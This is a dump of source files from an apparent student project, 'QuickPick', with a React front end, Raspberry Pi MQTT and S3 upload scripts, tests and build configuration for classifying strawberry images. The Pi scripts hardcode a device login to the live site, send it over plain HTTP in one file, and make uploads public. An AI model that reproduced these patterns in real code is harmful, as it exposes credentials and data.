{\n return {\n json: true,\n resolveWithFullResponse: true\n }\n }\n}" }, { "alpha_fraction": 0.6460176706314087, "alphanum_fraction": 0.6460176706314087, "avg_line_length": 20.25, "blob_id": "171e219601441979898e3b0ea0bb1b1d2674dfea", "content_id": "73d294221081b28ff6bf4b6a68d5d791eff9c9ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 339, "license_type": "no_license", "max_line_length": 50, "num_lines": 16, "path": "/frontEnd/src/js/models/browser-data/DataStorage.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IDataStorage} from './IDataStorage';\n\nexport class DataStorage implements IDataStorage {\n get(name: string) {\n return sessionStorage.getItem(name);\n }\n\n set(name: string, value: string) {\n sessionStorage.setItem(name, value);\n }\n\n erase(name: string) {\n sessionStorage.removeItem(name);\n }\n\n}" }, { "alpha_fraction": 0.6633887887001038, "alphanum_fraction": 0.6633887887001038, "avg_line_length": 29.76744270324707, "blob_id": "b5669cc05b9343107efc8856d369d15bb18cd03e", "content_id": "e5caf1fa37b68c01be6f8280999cf4174c4be9da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1322, "license_type": "no_license", "max_line_length": 91, "num_lines": 43, "path": "/frontEnd/src/js/models/identification/IdentificationController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from \"../ServerController\";\nimport {IBerryInformation} from \"./IBerryInformation\";\nimport {IPicture} from \"../IPicture\";\n\n\nexport interface IIdentificationController {\n getAll(): Promise<IBerryInformation[]>;\n getBerryById(id: number): Promise<IBerryInformation>;\n postBerry(berries:IBerryInformation[]);\n getNextImage():Promise<IPicture | null>;\n}\n\nexport class IdentificationController implements IIdentificationController {\n private server: IServerController;\n\n constructor(server: IServerController) {\n this.server = server;\n }\n\n async getAll(): Promise<IBerryInformation[]> {\n return await this.server.getRequest(\"api/berryInformation\");\n }\n\n async getBerryById(id: number): Promise<IBerryInformation> {\n return await this.server.getRequest(`api/berryInformation/${id}`);\n }\n\n async postBerry(berries:IBerryInformation[]) {\n await Promise.all((berries.map(async (berry) => {\n await this.server.postRequest(\"api/berryInformation\", berry);\n })));\n }\n\n async getNextImage(): Promise<IPicture | null> {\n try {\n const picture:IPicture = await this.server.putRequest(\"api/pictures/next\", {});\n return picture;\n }\n catch {\n return null;\n };\n }\n}" }, { "alpha_fraction": 0.7434834241867065, "alphanum_fraction": 0.7630331516265869, "avg_line_length": 32.05882263183594, "blob_id": "07b8ba0b4d04c33b0dcc5f858b296d2be0e906b9", "content_id": "ee8f94a32dd7299d9dd1489fa8c1bf3103b214bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1688, "license_type": "no_license", "max_line_length": 130, "num_lines": 51, "path": "/docs/Tutorials.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "# Tutorials\n\n## Rest\n[What is Rest](https://www.codecademy.com/articles/what-is-rest)\n\n## Spring\n\n\n[What is a Bean](https://docs.spring.io/spring/docs/current/spring-framework-reference/core.html)\n\n[The @Bean Annotation](https://docs.spring.io/spring/docs/current/spring-framework-reference/core.html#beans-java-bean-annotation)\n\n[Autowired Tutorial](http://www.baeldung.com/spring-autowire)\n\n#### Spring Security\n\n[What is it? (Technical)](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/technical-overview.html)\n\n[How to use it](https://spring.io/guides/topicals/spring-security-architecture/)\n\n[Spring Security UserDetails](http://theartofstrangecode.de/2017/04/23/spring-security-overview.html)\n\n## Docker\n\n[Intro to Docker Video](https://www.youtube.com/watch?v=Q5POuMHxW-0)\n\n[Docker Overview if you don't like video](https://docs.docker.com/get-started/)\n\n[UnionFS](https://en.wikipedia.org/wiki/UnionFS)\n\n[Docker Compose + Scaling](https://blog.hypriot.com/post/docker-compose-nodejs-haproxy/)\n\n## AWS\n\n[Amazons ECS (Elastic Container Service)](https://justanotherdevblog.com/aws-ec2-container-service-an-overview-4b1460aeaf21)\n\n[S3 presigned URLs](http://boto3.readthedocs.io/en/latest/guide/s3.html#generating-presigned-urls)\n\n## Boto3\nThis is basically the python AWS api (note boto and boto3 are different)\n\n[Boto3](http://boto3.readthedocs.io/en/latest/guide/quickstart.html)\n\n## React\n[React Tutorial](https://www.youtube.com/watch?v=fd2Cayhez58)\n\n[Asyc Functions](https://www.youtube.com/watch?v=NsQ2QIrQShU)\n\n[NPM Guide](https://docs.npmjs.com/getting-started/using-a-package.json)\n\n[Inline Styles](https://www.reactenlightenment.com/react-jsx/5.6.html)\n\n\n" }, { "alpha_fraction": 0.6994701027870178, "alphanum_fraction": 0.7176381349563599, "avg_line_length": 27.106382369995117, "blob_id": "c77d65259fe97fc316823fd446671f269e308faf", "content_id": "e1f0fc2308acd71f1fb293c0d136f15e22a07043", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1321, "license_type": "no_license", "max_line_length": 134, "num_lines": 47, "path": "/pi/iotSub.py", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as paho\nimport os\nimport socket\nimport ssl\nimport move\nimport requests\n\nthingName = thingInfo.getThingName()\n#print(thingName)\n\ndef getTopic():\n return thingName+\"/move\"\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connection returned result: \" + str(rc) )\n # Subscribing in on_connect() means that if we lose the connection and\n # reconnect then subscriptions will be renewed.\n #URL = \"https://localhost:8080/api/\"\n print(getTopic())\n client.subscribe(getTopic() , 1 )\n\ndef on_message(client, userdata, msg):\n print(\"topic: \"+msg.topic)\n print(\"payload: \"+str(msg.payload))\n move.moveCommand(msg.payload)\n\n#def on_log(client, userdata, level, msg):\n# print(msg.topic+\" \"+str(msg.payload))\n\nmqttc = paho.Client()\nmqttc.on_connect = on_connect\nmqttc.on_message = on_message\n#mqttc.on_log = on_log\n\nawshost = \"a3dam0y9od060l.iot.us-west-2.amazonaws.com\"\nawsport = 8883\n#clientId = \"Device1\"\n#thingName = \"Device1\"\ncaPath = \"/home/pi/mycerts/rootCA.pem\"\ncertPath = \"/home/pi/mycerts/e3daa-cert.pem.crt\"\nkeyPath = \"/home/pi/mycerts/e3daa-pri.pem.key\"\n\nmqttc.tls_set(caPath, certfile=certPath, keyfile=keyPath, cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLSv1_2, ciphers=None)\n\nmqttc.connect(awshost, awsport, keepalive=60)\n\nmqttc.loop_forever()\n" }, { "alpha_fraction": 0.3713620603084564, "alphanum_fraction": 0.4004656672477722, "avg_line_length": 17.29787254333496, "blob_id": "a409442ea0de7458bd56519dc2b86c3851ba9003", "content_id": "14440fc6a6696255b84f2c68ea37ee6471af4eb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 859, "license_type": "no_license", "max_line_length": 35, "num_lines": 47, "path": "/frontEnd/src/js/models/BerryTypes.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export const BerryTypes = [\n {\n label: \"Red\",\n type: \"RED\",\n color: '#ff4159'\n },\n {\n label: \"Green\",\n type: \"GREEN\",\n color: '#55c949'\n },\n {\n label: \"Leaf Tip Burn\",\n type: \"TIP_BURN\",\n color: '#36A2EB'\n },\n {\n label: \"Iron Deficiency\",\n type: \"FE_DEF\",\n color: '#db6200'\n },\n {\n label: \"Mildew\",\n type: \"MILDEW\",\n color: \"#81ecc1\"\n },\n {\n label: \"Gray Mold\",\n type: \"GRAY_MOLD\",\n color: \"#ababab\"\n },\n {\n label: \"Bird Damage\",\n type: \"BIRD_DMG\",\n color: \"#9848ff\"\n },\n {\n label: \"Anthracnose\",\n type: \"ANTHRACNOSE\",\n color: \"#ffda5c\"\n },\n {\n label: \"Angular Leaf Spot\",\n type: \"LEAF_SPOT\",\n color: \"#fba0ff\"\n }\n];" }, { "alpha_fraction": 0.7636363506317139, "alphanum_fraction": 0.7636363506317139, "avg_line_length": 55, "blob_id": "a4b60b4ece4611598feeac11096c4c39d4b19a4d", "content_id": "c35e58c95c9d6d38b8522647079242c38f9f90ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 55, "license_type": "no_license", "max_line_length": 55, "num_lines": 1, "path": "/frontEnd/src/js/infrastructure/TSXMarkup.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export type TSXMarkup = JSX.Element | null | undefined;" }, { "alpha_fraction": 0.6890756487846375, "alphanum_fraction": 0.6890756487846375, "avg_line_length": 19, "blob_id": "27e16f9a2f424497227c397004e7364aa29b71ed", "content_id": "6723184b5782f12e8615ccc67428c3ec21094a37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 119, "license_type": "no_license", "max_line_length": 27, "num_lines": 6, "path": "/frontEnd/src/js/models/IPicture.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export interface IPicture {\n id:number;\n fileLocation: string;\n originDevice: any;\n timeUploaded: number;\n}" }, { "alpha_fraction": 0.7681159377098083, "alphanum_fraction": 0.7681159377098083, "avg_line_length": 68, "blob_id": "3907da336990b5a9f02ceb6ab896cc6e13c37927", "content_id": "e5e2fdf00c75c954619ebfb05a6109b8059365b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 69, "license_type": "no_license", "max_line_length": 68, "num_lines": 1, "path": "/pi/simulateRobot/pictures/readme.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "## Put pictures here to have the script pick them up and upload them\n" }, { "alpha_fraction": 0.6865671873092651, "alphanum_fraction": 0.6865671873092651, "avg_line_length": 33, "blob_id": "d68e2fd413209d69c1b2328c442e4907b6e6716d", "content_id": "42bbeafcf818fade38680a602a5a2c704f799d4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 67, "license_type": "no_license", "max_line_length": 47, "num_lines": 2, "path": "/pi/thingInfo.py", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "def getThingName():\n return open('/home/pi/mycerts/data').read()" }, { "alpha_fraction": 0.6431506872177124, "alphanum_fraction": 0.6486301422119141, "avg_line_length": 26.037036895751953, "blob_id": "69c27191bbb993830db04f0152a5a72f92d58f85", "content_id": "aedb36a6fe12a42950df1d6f63c2dc8194d22b4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1460, "license_type": "no_license", "max_line_length": 113, "num_lines": 54, "path": "/pi/simulateRobot/main.py", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import os\n\nimport requests\nimport boto3\nfrom subprocess import call\nimport uuid\n\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('quickpick-pictures')\npicture_directory = \"./pictures\"\n\n \ndef post(url, datas, headers=None):\n r = requests.post(url, json=datas, headers=headers)\n return r\n\ndef put(url, datas, headers=None):\n r = requests.put(url, json=datas, headers=headers)\n return r\n \ndef login(user, passw):\n r = post(\"https://www.quickpickberries.com/api/login\", {'username':user, \"password\":passw})\n return r.headers[\"Authorization\"]\n\ndef postPic(filename, token):\n r = post(\"https://www.quickpickberries.com/api/pictures\", {'fileLocation':filename},{\"Authorization\": token})\n return r\n\ndef uploadPicture(path, endName):\n # insertLocation(path)\n bucket.upload_file(path, endName)\n object_acl = s3.ObjectAcl('quickpick-pictures', endName)\n response = object_acl.put(ACL=\"public-read\")\n return\n\n\ndef main():\n token = login(\"Device1\", \"jnicho\")\n for filename in os.listdir(picture_directory):\n if filename.endswith(\".png\") or filename.endswith(\".jpg\"): \n path = os.path.join(picture_directory, filename)\n name, extension = os.path.splitext(filename)\n endName = str(uuid.uuid4()) + extension\n uploadPicture(path,endName)\n postPic(endName, token);\n continue\n else:\n continue\n\n\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5892239212989807, "alphanum_fraction": 0.5912011861801147, "avg_line_length": 33.86206817626953, "blob_id": "f04362b50fda94f1fb31b4c78537cb5f91eef30c", "content_id": "4c50c5fb30c4f186b620b2dcef647dcc8374cd0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2023, "license_type": "no_license", "max_line_length": 96, "num_lines": 58, "path": "/frontEnd/src/tests/login-test.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import { expect } from 'chai';\nimport 'mocha';\nimport {LoginController} from \"../js/models/users/LoginController\";\nimport {MockCookies} from './mockedModels/mock-cookies';\nimport {MockServerController} from './mockedModels/mock-ServerController';\n\n\ndescribe('Login Controller', () => {\n\n const validUser = {\n username: 'jnicho',\n password: 'jnicho'\n };\n const invalidUser = {\n username: 'jnicho',\n password: 'incorrect password'\n };\n\n const cookies = new MockCookies();\n const serverController = new MockServerController(cookies, 'http://localhost:8080');\n const login = new LoginController(cookies, serverController);\n describe('check login', function() {\n it('should fail to auth', async function() {\n const result = await login.attemptLogIn(invalidUser.username, invalidUser.password);\n expect(result).to.be.false;\n });\n it('should properly auth', async function() {\n const result = await login.attemptLogIn(validUser.username, validUser.password);\n expect(result).to.be.true;\n });\n });\n describe('cookies have security key', function() {\n before(async function() {\n cookies.erase('Quickpick');\n await login.attemptLogIn(validUser.username, validUser.password);\n });\n it('key exists', () => {\n const result = cookies.get('QuickPick');\n expect(result).to.not.be.null;\n })\n });\n describe('isLoggedIn Function', function() {\n before(async function () {\n cookies.erase('Quickpick');\n await login.attemptLogIn(validUser.username, validUser.password);\n });\n it('user is logged in', () => {\n const result = login.isLoggedIn();\n expect(result).is.true;\n });\n it('user is logged out', async function() {\n await login.logOut();\n const result = login.isLoggedIn();\n expect(result).is.false;\n });\n });\n\n});\n\n" }, { "alpha_fraction": 0.6185080409049988, "alphanum_fraction": 0.6189801692962646, "avg_line_length": 26.519479751586914, "blob_id": "195bc5ded9ba690fa151680a6d7261cbc7742515", "content_id": "84e7406e5542f2479dc1d258bee5e0c508010492", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2118, "license_type": "no_license", "max_line_length": 106, "num_lines": 77, "path": "/frontEnd/src/js/models/users/LoginController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IDataStorage} from \"../browser-data/IDataStorage\";\nimport {IServerController} from \"../ServerController\";\nimport {isNullOrUndefined} from 'util';\n\nconst jwtDecoder = require(\"jwt-decode\");\n\nexport interface ILoginController {\n isLoggedIn(): boolean;\n attemptLogIn(username:string, password:string);\n logOut():void;\n getLoginCookies():string;\n getAccessToken():string;\n getRefreshToken():string;\n getIdToken();\n getRole():string;\n}\n\nexport class LoginController implements ILoginController {\n\n private cookies:IDataStorage;\n private serverController:IServerController;\n\n constructor(cookies:IDataStorage, serverController:IServerController) {\n this.cookies = cookies;\n this.serverController = serverController;\n }\n isLoggedIn():boolean {\n return (this.cookies.get('QuickPick') != null);\n }\n\n logOut():void {\n this.cookies.erase('QuickPick');\n }\n\n async attemptLogIn(username:string, password:string) {\n const usernamePasswordJson = {\n username: username,\n password: password\n };\n try {\n const key:string = await this.serverController.postRequest(\"api/login\", usernamePasswordJson);\n if (!isNullOrUndefined(key)) {\n this.cookies.set('QuickPick', key);\n return true;\n }\n } catch (e) {\n console.error(e);\n }\n return false;\n }\n\n getLoginCookies() {\n return this.cookies.get('QuickPick');\n }\n\n getAccessToken() {\n const token = jwtDecoder(this.cookies.get('QuickPick')).accessToken;\n return token;\n }\n\n getIdToken() {\n const token = jwtDecoder(this.cookies.get('QuickPick')).idToken;\n return {\n [jwtDecoder(token).iss.slice(8)]: token\n };\n }\n\n getRefreshToken() {\n const token = jwtDecoder(this.cookies.get('QuickPick')).refreshToken;\n return token;\n }\n\n getRole() {\n const role = jwtDecoder(this.cookies.get('QuickPick')).role;\n return isNullOrUndefined(role) ? '' : role.name;\n }\n}" }, { "alpha_fraction": 0.5981651544570923, "alphanum_fraction": 0.6146789193153381, "avg_line_length": 20.84000015258789, "blob_id": "9e99a69a6628e7b4b088a707f15545a79fea61c9", "content_id": "c2dd47e49994fa211984ca311c73bae94fff6541", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 545, "license_type": "no_license", "max_line_length": 51, "num_lines": 25, "path": "/docker-compose.yml", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "version: '2'\nservices:\n webapp:\n command: mvn spring-boot:run -Drun.profiles=dev\n build:\n context: ./webServer\n dockerfile: Dockerfile\n ports:\n - 8080:8080\n volumes:\n - ./webServer/src:/usr/src/app/src\n - site:/usr/src/app/src/main/resources/static\n - site:/usr/src/app/src/main/webapp\n depends_on:\n - frontend\n frontend:\n command: npm start\n build:\n context: ./frontEnd\n dockerfile: dockerfile\n volumes:\n - ./frontEnd/src:/code/src\n - site:/code/build\nvolumes:\n site:" }, { "alpha_fraction": 0.4038844704627991, "alphanum_fraction": 0.41982072591781616, "avg_line_length": 24.756410598754883, "blob_id": "5830c05a588d77b328beb9696b5b79944c3b2cbe", "content_id": "338ff443557f1463862470f141f2f6aa9b7833dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2008, "license_type": "no_license", "max_line_length": 87, "num_lines": 78, "path": "/frontEnd/webpack.config.js", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "var path = require(\"path\");\nvar webpack = require('webpack');\nvar HtmlPlugin = require('html-webpack-plugin');\n\nvar API_URL = {\n production: JSON.stringify('http://35.166.152.170/'),\n development: JSON.stringify('http://localhost:8080/')\n};\n\n// check environment mode\nvar environment = process.env.NODE_ENV === 'production' ? 'production' : 'development';\n\nmodule.exports = {\n\tcontext: path.join(__dirname, '/src'),\n entry: ['./js/index.tsx'],\n output: {\n filename: 'bundle.js',\n path: path.resolve(__dirname, './build')\n },\n devServer: {\n contentBase: \"./src\",\n hot: true,\n port: 3000,\n proxy: {\n '/api/*': {\n target: 'http://localhost:8080',\n secure: false\n }\n }\n },\n devtool: \"source-map\",\n resolve: {\n extensions: ['.webpack.js', '.web.js', '.ts', '.tsx', '.js', '.json']\n },\n module: {\n loaders: [\n {\n test: /\\.tsx?$/,\n exclude: [],\n loader: \"ts-loader\"\n },\n {\n test: /\\.js$/,\n enforce: \"pre\",\n loader: \"source-map-loader\"\n },\n {\n test: /\\.css$/,\n use: ['style-loader', 'css-loader']\n },\n {\n test: /\\.(woff|woff2|eot|ttf)$/,\n loader: 'url-loader?limit=100000'\n },\n {\n test: /\\.(jpe?g|png|gif|svg)$/i,\n use: [\n 'url-loader?limit=10000',\n 'img-loader'\n ]\n }\n ]\n },\n node: {\n fs: 'empty',\n net: 'empty',\n tls: 'empty'\n },\n plugins:[\n new webpack.HotModuleReplacementPlugin(),\n new HtmlPlugin({template: 'index.html'}),\n new webpack.DefinePlugin({\n 'process.env': {\n 'API_URL': API_URL[environment]\n }\n })\n ]\n};" }, { "alpha_fraction": 0.6528925895690918, "alphanum_fraction": 0.6528925895690918, "avg_line_length": 16.428571701049805, "blob_id": "6b53df785e5c0abc0e88bb354e97751e1e906f95", "content_id": "ae0576af759bbdc63a08ebb71e3469a2aebf6932", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 121, "license_type": "no_license", "max_line_length": 37, "num_lines": 7, "path": "/frontEnd/src/js/models/browser-data/IDataStorage.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export interface IDataStorage {\n get(name: string);\n\n set(name: string, value: string);\n\n erase(name: string);\n}" }, { "alpha_fraction": 0.42424243688583374, "alphanum_fraction": 0.5252525210380554, "avg_line_length": 23.75, "blob_id": "b3910875e080554fe7d766e152ef46914d441a0b", "content_id": "2dd4a9b461bc98029d4995844ce19ea246b5c50c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 99, "license_type": "no_license", "max_line_length": 60, "num_lines": 4, "path": "/pi/getIP.sh", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nip=\"$(ifconfig | grep -A 1 'wlan' | tail -1 | cut -c 14-24)\"\necho \\\"http://${ip}:8081\\\"\n" }, { "alpha_fraction": 0.6825795769691467, "alphanum_fraction": 0.7051926255226135, "avg_line_length": 24.95652198791504, "blob_id": "463947b5fc873676cbc080ec893b1f088cd37a94", "content_id": "3cc8b94ff909ed4238bc11227889a377e3a7766f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1194, "license_type": "no_license", "max_line_length": 134, "num_lines": 46, "path": "/pi/iotPub.py", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as paho\nimport os\nimport socket\nimport ssl\nimport thingInfo\nfrom time import sleep\n\nconnflag = False\nthingName = thingInfo.getThingName()\n#print(thingName)\n\ndef on_connect(client, userdata, flags, rc):\n global connflag\n connflag = True\n print(\"Connection returned result: \" + str(rc) )\n\ndef on_message(client, userdata, msg):\n print(msg.topic+\" \"+str(msg.payload))\n \ndef sendPub(value):\n if connflag == True:\n mqttc.publish(thingName+\"/move\", str(value) , qos=1)\n print(\"msg sent: \" + str(value) )\n else:\n print(\"waiting for connection...\")\n\nmqttc = paho.Client()\nmqttc.on_connect = on_connect\nmqttc.on_message = on_message\n\nawshost = \"a3dam0y9od060l.iot.us-west-2.amazonaws.com\"\nawsport = 8883\n#clientId = \"Device1\"\n#thingName = \"Device1\"\ncaPath = \"/home/pi/mycerts/rootCA.pem\"\ncertPath = \"/home/pi/mycerts/e3daa-cert.pem.crt\"\nkeyPath = \"/home/pi/mycerts/e3daa-pri.pem.key\"\n\nmqttc.tls_set(caPath, certfile=certPath, keyfile=keyPath, cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLSv1_2, ciphers=None)\n\nmqttc.connect(awshost, awsport, keepalive=60)\n\nmqttc.loop_start()\n\nwhile(connflag == False):\n sleep(0.000001)\n" }, { "alpha_fraction": 0.6689419746398926, "alphanum_fraction": 0.6740614175796509, "avg_line_length": 40.92856979370117, "blob_id": "f3d6831cbc66a09a79304f19fa16fb8e4095d2c5", "content_id": "a2737dadcd6aca6a81aad2c5401c62da4e2903e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 586, "license_type": "no_license", "max_line_length": 106, "num_lines": 14, "path": "/upload.sh", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nif ([ \"$TRAVIS_BRANCH\" == \"master\" ] || [ ! -z \"$TRAVIS_TAG\" ]) && [ \"$TRAVIS_PULL_REQUEST\" == \"false\" ]; \nthen\n pip install --user awscli\n export PATH=$PATH:/$HOME/.local/bin\n eval $(aws ecr get-login --region us-west-2 --no-include-email)\n docker-compose -f docker-compose.prod.yml up --build\n docker build -t quickpick:latest ./\n docker tag quickpick:latest $AWS_ACCOUNT_NUMBER.dkr.ecr.us-west-2.amazonaws.com/quickpick:latest\n docker push $AWS_ACCOUNT_NUMBER.dkr.ecr.us-west-2.amazonaws.com/quickpick:latest\nelse\n echo \"This will not deploy!\"\nfi" }, { "alpha_fraction": 0.4898236095905304, "alphanum_fraction": 0.4898236095905304, "avg_line_length": 26.05504608154297, "blob_id": "512b471604bf1b56bb6b156a2fc5d6e7dd805e4e", "content_id": "1c65290bb8826d22ad24336221988635d22bd589", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2948, "license_type": "no_license", "max_line_length": 85, "num_lines": 109, "path": "/frontEnd/src/tests/mockedModels/mock-ServerController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from '../../js/models/ServerController';\nimport {IDataStorage} from '../../js/models/browser-data/IDataStorage';\nimport * as fs from \"fs\";\n\nvar request = require ('request-promise');\n\n\nexport class MockServerController implements IServerController {\n\n private cookies:IDataStorage;\n private serverUrl:string | undefined;\n\n constructor(cookies:IDataStorage, serverUrl:string | undefined) {\n this.cookies = cookies;\n this.serverUrl = serverUrl;\n }\n\n getRequest(url: string) {\n\n const options = {\n method: 'GET',\n uri: `${this.serverUrl}${url}`,\n json: true,\n resolveWithFullResponse: true\n };\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n return body\n })\n .catch(function (err) {\n return err;\n });\n }\n getFile(url: string, fileName: string) {\n const options = {\n method: 'GET',\n uri: `${this.serverUrl}${url}`,\n };\n return request(this.optionsWithHeader(options))\n .pipe(fs.createWriteStream(fileName))\n .then(function (body) {\n return\n })\n .catch(function (err) {\n throw new Error(err.statusCode)\n });\n }\n postRequest(url:string, jsonBody: any):string {\n if (url == 'api/login') {\n if (jsonBody.username == 'jnicho' && jsonBody.password == 'jnicho') {\n return 'Bearer logged in';\n }\n else {\n throw new Error;\n }\n }\n const options = {\n method: 'POST',\n uri: `${this.serverUrl}${url}`,\n body: jsonBody,\n json: true,\n resolveWithFullResponse: true\n };\n\n\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n return body.body;\n })\n .catch(function (err) {\n return null;\n });\n }\n\n putRequest(url:string, jsonBody: any):string {\n const options = {\n method: 'PUT',\n uri: `${this.serverUrl}${url}`,\n body: jsonBody,\n json: true,\n resolveWithFullResponse: true\n };\n\n\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n return body.body;\n })\n .catch(function (err) {\n return null;\n });\n }\n\n public uploadZip(url:string, file: any) {\n\n }\n\n private optionsWithHeader(options) {\n const bearer = this.cookies.get('QuickPick');\n return (bearer != null\n ? {\n ...options,\n headers : {\n 'Authorization' : bearer\n }\n }\n : options);\n }\n}" }, { "alpha_fraction": 0.682539701461792, "alphanum_fraction": 0.6904761791229248, "avg_line_length": 29.594594955444336, "blob_id": "71f1cb2f13e3be612f92fe876eba488ff3558386", "content_id": "49277c0909b5a5bd33380d8001d51ddac8fb132f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1134, "license_type": "no_license", "max_line_length": 132, "num_lines": 37, "path": "/pi/ourStuff.py", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import requests\nimport boto3\nfrom subprocess import call\n\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('quickpick-pictures')\n \ndef post(url, datas, headers=None):\n r = requests.post(url, json=datas, headers=headers)\n return r\n\ndef put(url, datas, headers=None):\n r = requests.put(url, json=datas, headers=headers)\n return r\n \ndef login(user, passw):\n r = post(\"http://www.quickpickberries.com/api/login\", {'username':user, \"password\":passw})\n return r.headers[\"Authorization\"]\n\ndef postPic(filename):\n r = post(\"http://www.quickpickberries.com/api/pictures\", {'fileLocation':filename},{\"Authorization\":login(\"device1\", \"jnicho\")})\n return r\n\ndef insertLocation(photo):\n call(['./editGeo.sh', photo])\n\ndef uploadPicture(path, endName):\n insertLocation(path)\n bucket.upload_file(path, endName)\n object_acl = s3.ObjectAcl('quickpick-pictures', endName)\n response = object_acl.put(ACL=\"public-read\")\n postPic(endName)\n return\n\ndef putStatus(status):\n r = put(\"http://www.quickpickberries.com/api/devices/1/status\", status, {\"Authorization\":login(\"device1\", \"jnicho\")})\n return r\n\n\n" }, { "alpha_fraction": 0.6472749710083008, "alphanum_fraction": 0.6472749710083008, "avg_line_length": 27.66666603088379, "blob_id": "1fa637c97f524ca8912cbca446354c71e799a94d", "content_id": "e64b5b5ac43c366723b01dfbd46606fc9cbf8fb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1633, "license_type": "no_license", "max_line_length": 93, "num_lines": 57, "path": "/frontEnd/src/js/models/farms/FarmController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from '../ServerController';\nimport {IFarm} from \"./IFarm\";\n\nexport interface IFarmController {\n getAll(): Promise<IFarm[]>;\n getFarmById(id: number): Promise<IFarm>;\n postFarm(farm: IFarm);\n putFarm(farm: IFarm);\n getIdentifications(farm:IFarm);\n getClassifications(farm:IFarm);\n getDevices(farm:IFarm);\n}\n\nexport class FarmController implements IFarmController {\n private server: IServerController;\n\n constructor(server: IServerController) {\n this.server = server;\n }\n\n /**\n * Fetches all farms from the backend\n * @return an array of farms\n */\n async getAll(): Promise<IFarm[]> {\n return await this.server.getRequest(\"api/farm\");\n }\n\n /**\n * Fetches a single farm with the specified id from the backend\n * @param id the id of the farm you want to claim\n * @return a farm\n */\n async getFarmById(id: number): Promise<IFarm> {\n return await this.server.getRequest(`api/farm/${id}`);\n }\n\n async postFarm(farm: IFarm) {\n await this.server.postRequest(\"api/farm\", farm);\n }\n\n async putFarm(farm: IFarm) {\n await this.server.putRequest(`api/farm/${farm.id}`, farm);\n }\n\n async getIdentifications(farm:IFarm) {\n return await this.server.getRequest(`api/farm/${farm.id}/identifications?final=true`)\n }\n\n async getClassifications(farm:IFarm) {\n return await this.server.getRequest(`api/farm/${farm.id}/classifications?final=true`)\n }\n\n async getDevices(farm:IFarm) {\n return await this.server.getRequest(`api/farm/${farm.id}/devices`)\n }\n}" }, { "alpha_fraction": 0.7387000918388367, "alphanum_fraction": 0.7525569200515747, "avg_line_length": 56.132076263427734, "blob_id": "920e2f8c5c5dfad55985584ecf70d41f9c2be270", "content_id": "9f982c91a7dc184055a754d66fa0cc4617e83785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3031, "license_type": "no_license", "max_line_length": 240, "num_lines": 53, "path": "/frontEnd/frontEndSetup.md", "repo_name": 